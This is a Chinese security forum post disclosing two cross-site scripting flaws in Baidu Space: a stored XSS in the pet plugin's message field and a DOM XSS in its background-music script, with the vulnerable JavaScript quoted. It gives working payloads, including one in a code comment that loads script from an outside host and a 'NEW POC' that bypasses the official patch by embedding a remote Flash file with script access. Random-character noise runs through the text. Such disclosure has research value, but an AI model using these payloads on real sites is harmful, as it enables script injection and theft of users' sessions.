找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2321|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  8 }7 \9 D3 A* E4 m, [* x, `

) Z' v# R, `! U; g2 ~7 F9 N" P2 V1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  : i. y0 r8 c! @+ R- \6 v. K
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  3 W2 b! i: N& D$ L" W! }. A

* g, d& ]" P$ b9 z* u) [# H2 m将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
* @$ U' v% ?* W其中BdUtil.insertWBR为  
4 F& |0 a0 Q4 K: c4 ^- K% rfunction(text, step) {  
7 \3 K/ G" C0 C    var textarea = textAreaCache || getContainer();  ; _' y. u  E: H- k
    if (!textarea) {    @7 Z$ B( F& X6 \+ p) G9 d
        return text;  * _6 U2 A) s: }* H6 B
    }  
, l( Q; [2 a# r- h    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  ; Z- C% F' D9 J5 x) a
    var string = textarea.value;  
2 X" f* W/ u% e    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
" d  u2 b! w2 }2 k) }    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
* k. O; k2 E6 |0 h2 R2 n* l    return result;  # ?; A' ^) C+ A! I% c
}  
6 }$ f* H2 G; G& P, p' i  i在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
8 h: [) \* c2 o8 d0 t+ h9 ~测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
3 J$ w0 \# q8 y8 H   
' q8 |  j; |$ K二:creatbgmusic() Dom-Xss Bug  
4 q1 G# _, U" J) V: x百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
( O) \* w& [' T! H4 c3 g3 _
0 Z  U9 l  X1 e/ g6 Chttp://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
: |5 ]1 s+ o# M) f. E" Z
( a5 P' l0 s8 p5 f* I, Bfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
+ p, l( P  w  y# f' K! v    //传入的murl赋值到bgmusic1和bgmusic2中  
$ o+ p+ C; t6 J$ t$ S    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
! b' L$ E5 ]9 Z- _# \9 W, ^' h$ _    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  " Z) B! f5 R6 K4 U  P
    if (musicnum <= 1) {  
8 L7 S, L( K$ C/ Z3 v& ?        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
1 r( t( z4 ^3 q8 B" N$ h( Q) A9 u    }  - s* ?0 W7 ~. H3 a7 a+ B5 G: N) c
    bgmusic1 += "</OBJECT>";  
7 U, x+ W2 B: a, p8 j  T    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  3 E6 r/ j' k/ o
    if (musicnum <= 1) {  # A- r/ u, C. ~5 _# y& J6 z
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
0 ~  C( z  c4 S( M4 b2 |0 g& T+ L1 i    }  0 Z$ N! b# @2 m8 j  P: M
    bgmusic2 += "> </EMBED>";  
' J' g* x& j' w    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
8 u( r7 G6 f, G  a6 M, ^    var bgmus = detectWMP();  $ f  {3 O6 R% s1 k8 E
    if (functype == "FckMusicHelper") {  ' G8 k/ q' ]+ e: I
        if (bgmus.installed) {  
. c$ e0 F+ }' F' F0 o4 a# L4 S            if (bgmus.type == "IE") {  5 s' D0 U& c- s/ [- a! e
                return bgmusic1;  
: |1 T! e$ |, f8 B            } else if (bgmus.type == "NS") {  
9 d2 `" C, S  W( A% V) y                return bgmusic2;  2 @2 Z) F' i3 v$ t! P
            }  
$ f) c9 e1 ~/ w" a# ~4 @' D        } else {  : s' ~/ N5 n& B5 G  M
            return bgmusic3;  & T  y8 E, Q8 S0 w% G: L
        }  % R  v! [! @$ R
    } else {  + o  c8 p8 o$ Q: Q& ]: W1 m% l: U
        if (bgmus.installed) {  6 U0 S& R) b4 Y9 p
            //document.write 直接输出bgmusic变量 导致xss  ' [% u0 m+ K! ^2 k& x
            if (bgmus.type == "IE") {  ; p& y$ D0 R; s* E' ]
                document.write(bgmusic1);  2 {& q1 J: w& O. h
            } else if (bgmus.type == "NS") {    R( L  A  q8 R2 D: l  E  E
                document.write(bgmusic2);  5 s  W  b  X$ Y2 r" u' ]3 R8 X, l( g
            }  
- Q, q% X1 ^- R7 t/ i4 T        } else {  
# k3 ?3 C( s- {. w8 k9 g            document.write(bgmusic3);  
2 K8 `8 X$ A- g1 m' z4 ^7 a! {; M        }  ' F8 g! B. M4 a: B
        return "";  - Y  `' S7 E0 ^" T, T. v7 n
    }    Y$ e# ~: d7 }0 A
}  
+ Q+ V; R1 r6 Y% s- l9 j1 m6 |, K, B3 a. V  P
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  ; s# q- h) x1 ^- V: I+ `
+ E( ?+ {- J( v2 n
function initBlogTextForFCK(){  7 F" }  k8 ?  j& x: x7 k
//fck init music  $ {( O7 O0 [( g  G/ f; B
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  4 n( Y) i! U6 w+ H; J/ `
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  % D5 F3 S* K* X* D7 s/ K6 J* ~
var isAutoPlay=true;  
* J+ C: f2 S: c2 [for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
+ i$ O/ b( _" R4 u% _- q  var img=imgBox;  : p5 v! n% j; T5 X) d
  if(img.getAttribute(’rel’)){        
7 y: \% p+ t- D* p   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  % f1 [3 k9 V% `( x, m7 c- Y- o, f
   var musicDiv = document.createElement("SPAN");  : E9 J3 ^& j! _$ J+ m8 F
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  / D" f" o; T1 Z1 n2 K  ?/ i, D3 H
     1 Q5 k3 O& v3 S  W) J% Q0 V; w
      ..........................  ) `8 D4 W) w0 X$ S
     # l+ D# S! L; c5 d2 ?
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   ' f4 a3 i& d  h( ^
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);    V# z6 g- u3 c! u8 b' a0 R" g
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
4 u+ {8 t3 x5 S5 Y$ V   musicDiv.innerHTML=shtml;  8 @" R* Z- _$ t0 e# `, ^( A
   i--;n--;  
: w% z' c7 K) W2 h/ N: T  }  
' B0 Z6 K# `% J2 _" y}  / F" O- r! r* v. n# z& w# h6 Y
7 h' H! }. A% h# l; y
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  9 v6 O) R1 _3 }) g( @" {# W  }
   2 `; O+ r% T; a. e8 ~5 ?# D( t/ c  ?6 I/ J
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  # Q& X8 \& D4 m- \2 i

" C; w+ n3 `; r等待官方补丁  - W( a. l- V- f% z$ w& h6 p
+ ?, ?+ G7 s/ I/ k0 b; z2 m- Q, T
update 2010年5月13日     }" e* U0 z' ~3 t; U4 w
: ]7 c8 C$ P$ N7 Z
官方补丁:  
/ h) k5 y6 Q7 F) ]1 u
4 s6 B) H& @4 i( ~var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
! g+ x* [9 @' L/ T3 {: P! i$ Q改为:  
3 ~$ I2 S& k& P2 e( j6 Z$ ?) Zvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  7 l* D4 l8 [5 B* X7 k
) ~$ ^; ]( w: n9 n' Z* n& A
update 2010年5月13日 21:50:37  
( }  O! k( y( [& u  w: E& o& U) j+ ?) ^4 Q+ H' y! Y! Y3 L, j4 S
补丁存在漏洞 没有过滤" 可以继续跨:  ; L) f/ q) \  `. a, {) F

7 i* Y+ s" v& Y. x, }2 e0 uNEW POC:  2 {4 ~7 j; g3 E* O8 L
  C$ T7 e9 [" G5 s
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 9 {& l! W* X& V4 |6 f. U8 N

2 a3 \' a+ Z8 |allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
9 p8 F- `! h* O2 u, ?9 x0 x 4 o( M& P2 S$ _% S- X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表